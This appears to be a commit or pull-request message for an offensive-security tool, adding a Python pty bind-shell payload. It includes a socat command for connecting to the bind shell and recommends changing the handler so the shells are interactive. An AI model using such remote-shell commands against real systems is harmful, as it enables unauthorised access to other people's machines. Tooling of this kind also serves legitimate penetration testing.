Add python-pty payload (bindshell)

Connect using the following socat command:

socat file:`tty`,echo=0,raw tcp4-connect:$IP:$PORT

Or use the python-pty client in github.com/infodox/python-pty-shells :)

Recommend altering the shell handler to use the pty class in that listener for pty-spawning shells. Because "interactive shell or gtfo" ;)